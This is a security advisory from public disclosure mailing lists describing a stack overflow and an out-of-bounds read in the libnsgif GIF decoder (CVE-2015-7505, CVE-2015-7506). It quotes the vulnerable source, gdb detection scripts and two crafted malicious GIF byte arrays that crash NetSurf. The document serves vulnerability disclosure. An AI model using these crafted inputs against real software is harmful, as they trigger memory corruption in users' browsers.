|
Message-ID: <m1a8pazfo8.darpa@darpa.mil> Date: Wed, 16 Dec 2015 20:28:07 +0700 From: Hans Jerry Illikainen <hji@...topia.com> To: bugtraq@...urityfocus.com, fulldisclosure@...lists.org, oss-security@...ts.openwall.com Subject: libnsgif: stack overflow (CVE-2015-7505) and out-of-bounds read (CVE-2015-7506) Overview ======== Libnsgif[1] is a decoding library for GIF images. It is primarily developed and used as part of the NetSurf project. As of version 0.1.2, libnsgif is vulnerable to a stack overflow (CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way LZW-compressed GIF data is processed. Details ======= src/libnsgif.c #80..133: ,---- | /* Maximum LZW bits available | */ | #define GIF_MAX_LZW 12 | [...] | static int table[2][(1 << GIF_MAX_LZW)]; | static unsigned char stack[(1 << GIF_MAX_LZW) * 2]; `---- src/libnsgif.c #423..628: ,---- | static gif_result gif_initialise_frame(gif_animation *gif) { | [...] | if (gif_data[0] > GIF_MAX_LZW) | return GIF_DATA_ERROR; | [...] | } `---- src/libnsgif.c #751..1053: ,---- | gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) { | [...] | /* Initialise the LZW decoding | */ | set_code_size = gif_data[0]; | [...] | code_size = set_code_size + 1; | clear_code = (1 << set_code_size); | end_code = clear_code + 1; | max_code_size = clear_code << 1; | max_code = clear_code + 2; | [...] | } `---- src/libnsgif.c #1145..1169: ,---- | void gif_init_LZW(gif_animation *gif) { | [...] | *stack_pointer++ =firstcode; | } `---- src/libnsgif.c #1172..1237: ,---- | static bool gif_next_LZW(gif_animation *gif) { | [...] | code = gif_next_code(gif, code_size); | [...] | incode = code; | if (code >= max_code) { | *stack_pointer++ = firstcode; | code = oldcode; | } | | /* The following loop is the most important in the GIF decoding cycle as every | * single pixel passes through it. | * | * Note: our stack is always big enough to hold a complete decompressed chunk. */ | while (code >= clear_code) { | *stack_pointer++ = table[1][code]; | new_code = table[0][code]; | if (new_code < clear_code) { | code = new_code; | break; | } | *stack_pointer++ = table[1][new_code]; | code = table[0][new_code]; | if (code == new_code) { | gif->current_error = GIF_FRAME_DATA_ERROR; | return false; | } | } | | *stack_pointer++ = firstcode = table[1][code]; | [...] | oldcode = incode; | [...] | } `---- CVE-2015-7505 ============= Since `gif_next_LZW()' writes onto the stack so long as `code' is at least `clear_code', an overflow may eventually occur while processing a maliciously crafted image. Using NetSurf as an example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif | [...] | stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3) | stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4) | stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5) | stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646) | | Program received signal SIGSEGV, Segmentation fault. | 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210 | 1210 *stack_pointer++ = table[1][code]; | (gdb) `---- stack.py: ,---- | class Breakpoint(gdb.Breakpoint): | def stop(self): | stack_pointer = get_hex("stack_pointer") | stack = get_hex("&stack") | stack_size = get_hex("sizeof stack / sizeof *stack") | stack_end = stack + stack_size | | table_size = get_hex("sizeof table / sizeof **table / 2") | code = get_hex("code") | | if stack_pointer > stack_end: | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % | (stack_pointer, stack_end, stack_pointer - stack_end)) | if code >= table_size: | print("out-of-bounds read: code: %d (+%d)" % | (code, code - table_size + 1)) | return False | | def get_hex(arg): | res = gdb.execute("print/x %s" % arg, to_string=True) | x = res.split(" ")[-1].strip() | return int(x, 16) | | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") | | gdb.execute("run") `---- stack.gif: ,---- | unsigned char stack[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* gif_initialise() */ | 0x04, 0x00, /* gif->width */ | 0x04, 0x33, /* gif->height */ | 0x00, /* gif->global_colours */ | 0x00, /* gif->background_index */ | 0x00, /* gif->aspect_ratio */ | | /* gif_initialise_frame() */ | 0x2c, /* GIF_IMAGE_SEPARATOR */ | 0x00, 0x00, /* offset_x */ | 0x00, 0x00, /* offset_y */ | 0x1b, 0x00, /* width */ | 0x04, 0x00, /* height */ | 0x00, /* flags */ | 0x04, /* code size */ | 0x0d, /* block_size */ | | /* image data */ | 0x10, 0xcb, | 0x41, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, | | /* end of image data */ | 0x00, | | /* end of .gif */ | 0x3b | }; `---- CVE-2015-7506 ============= If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096. Since the while-loop in `gif_next_LZW()' executes so long as `code >= clear_code', an out-of-bounds read might occur due to `code' being used to dereference `table' (2d array * 4096). A boundary check exist in that if `code >= max_code', it's assigned the value of `oldcode' -- however, the result may still exceed `max_code' due to the bookkeeping of the *original* value: src/libnsgif.c #1172..1237: ,---- | static bool gif_next_LZW(gif_animation *gif) { | [...] | incode = code; | if (code >= max_code) { | *stack_pointer++ = firstcode; | code = oldcode; | } | [...] | oldcode = incode; | [...] | } `---- Again, using NetSurf as an example: ,---- | ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif | [...] | out-of-bounds read: code: 6670 (+2575) | out-of-bounds read: code: 7999 (+3904) `---- oob.py: ,---- | class Breakpoint(gdb.Breakpoint): | def stop(self): | stack_pointer = get_hex("stack_pointer") | stack = get_hex("&stack") | stack_size = get_hex("sizeof stack / sizeof *stack") | stack_end = stack + stack_size | | table_size = get_hex("sizeof table / sizeof **table / 2") | code = get_hex("code") | | if stack_pointer > stack_end: | print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" % | (stack_pointer, stack_end, stack_pointer - stack_end)) | if code >= table_size: | print("out-of-bounds read: code: %d (+%d)" % | (code, code - table_size + 1)) | return False | | def get_hex(arg): | res = gdb.execute("print/x %s" % arg, to_string=True) | x = res.split(" ")[-1].strip() | return int(x, 16) | | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210") | Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216") | | gdb.execute("run") `---- oob.gif: ,---- | unsigned char oob[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* gif_initialise() */ | 0x04, 0x00, /* gif->width */ | 0x04, 0x33, /* gif->height */ | 0x00, /* gif->global_colours */ | 0x00, /* gif->background_index */ | 0x00, /* gif->aspect_ratio */ | | /* gif_initialise_frame() */ | 0x2c, /* GIF_IMAGE_SEPARATOR */ | 0x00, 0x00, /* offset_x */ | 0x00, 0x00, /* offset_y */ | 0x1b, 0x00, /* width */ | 0x04, 0x00, /* height */ | 0x00, /* flags */ | 0x0c, /* code size */ | 0x0d, /* block_size */ | | /* image data */ | 0x10, 0xcb, | 0x41, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, 0xf3, | 0xf3, | | /* end of image data */ | 0x00, | | /* end of .gif */ | 0x3b | }; `---- Solution ======== Both vulnerabilities are fixed in git HEAD[2]. Footnotes _________ [1] [http://www.netsurf-browser.org/projects/libnsgif/] [2] [http://source.netsurf-browser.org/libnsgif.git/] Hans Jerry Illikainen
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.